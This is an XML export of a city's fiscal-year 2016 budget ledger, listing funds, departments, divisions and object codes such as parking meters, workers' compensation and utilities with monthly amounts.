<row _id="22614"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-PUBLIC LAND</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-87398</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-87398</total></row>
<row _id="22615"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22616"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>235031</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>235031</total></row>
<row _id="22617"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6407</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6407</total></row>
<row _id="22618"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12965</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12965</total></row>
<row _id="22619"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>316544</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>316544</total></row>
<row _id="22620"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>32000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>32000</total></row>
<row _id="22621"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>22000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22000</total></row>
<row _id="22622"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>203620</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>203620</total></row>
<row _id="22623"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7010</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7010</total></row>
<row _id="22624"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1600</total></row>
<row _id="22625"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>19603</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19603</total></row>
<row _id="22626"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>179097</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>179097</total></row>
<row _id="22627"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-43612</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-43612</total></row>
<row _id="22628"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6239</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6239</total></row>
<row _id="22629"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>26000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26000</total></row>
<row _id="22630"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22631"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577701.0</object><object_description>PROP A REIMBURSEMENT WISE</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>600000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>600000</total></row>
<row _id="22632"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511050.0</object><object_description>CAPITAL PROJECT STAFFING</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-159075</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-159075</total></row>
<row _id="22633"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22634"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400070.0</object><object_description>PROPERTY TAXES-DEL-AIRCRAFT</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22635"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400080.0</object><object_description>HOME EXEMPT TAX RELIEF</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-188000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-188000</total></row>
<row _id="22636"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405590.0</object><object_description>CABLE FRANCHISE FEES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-1129579</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1129579</total></row>
<row _id="22637"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1038</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1038</total></row>
<row _id="22638"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>533</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>533</total></row>
<row _id="22639"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>408150.0</object><object_description>ALT FUEL TAX CREDIT</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-100000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-100000</total></row>
<row _id="22640"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>400891.0</object><object_description>CITY OF LA - MAPS REFUND</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22641"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>53</fund_id><fund_name>Parks and Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1000</total></row>
<row _id="22642"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22643"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1046</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1046</total></row>
<row _id="22644"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>149</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>149</total></row>
<row _id="22645"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>494</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>494</total></row>
<row _id="22646"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="22647"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>577260.0</object><object_description>SENIOR HOUSING VOUCHER PRG</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>350000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>350000</total></row>
<row _id="22648"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-5600000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5600000</total></row>
<row _id="22649"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>401210.0</object><object_description>DAMAGE TO CITY PROPERTY</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-50000</total></row>
<row _id="22650"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405370.0</object><object_description>DISCOUNT ON PERS PREPAYMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-1669756</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1669756</total></row>
<row _id="22651"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408360.0</object><object_description>SUCCESSOR AGENCY ADMIN</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-675000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-675000</total></row>
<row _id="22652"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>402920.0</object><object_description>PROP A LOCAL RETURN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-1268231</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1268231</total></row>
<row _id="22653"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544040.0</object><object_description>BOOKS/PAMPHLETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100</total></row>
<row _id="22654"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>14</fund_id><fund_name>TORCA Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404178.0</object><object_description>RESIDUAL RECEIPTS-HOUSING</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-50000</total></row>
<row _id="22655"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>400290.0</object><object_description>PREF PARKING PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-1177000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1177000</total></row>
<row _id="22656"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>400300.0</object><object_description>ON STREET METERS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-14920925</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-14920925</total></row>
<row _id="22657"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>401328.0</object><object_description>PERMITS -PARKING STRUCTURE 7&amp;8</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-224000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-224000</total></row>
<row _id="22658"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1000</total></row>
<row _id="22659"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>578311.0</object><object_description>FIRE REIMBURSEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>75826</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>75826</total></row>
<row _id="22660"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>600</total></row>
<row _id="22661"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1794</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1794</total></row>
<row _id="22662"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>216</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>216</total></row>
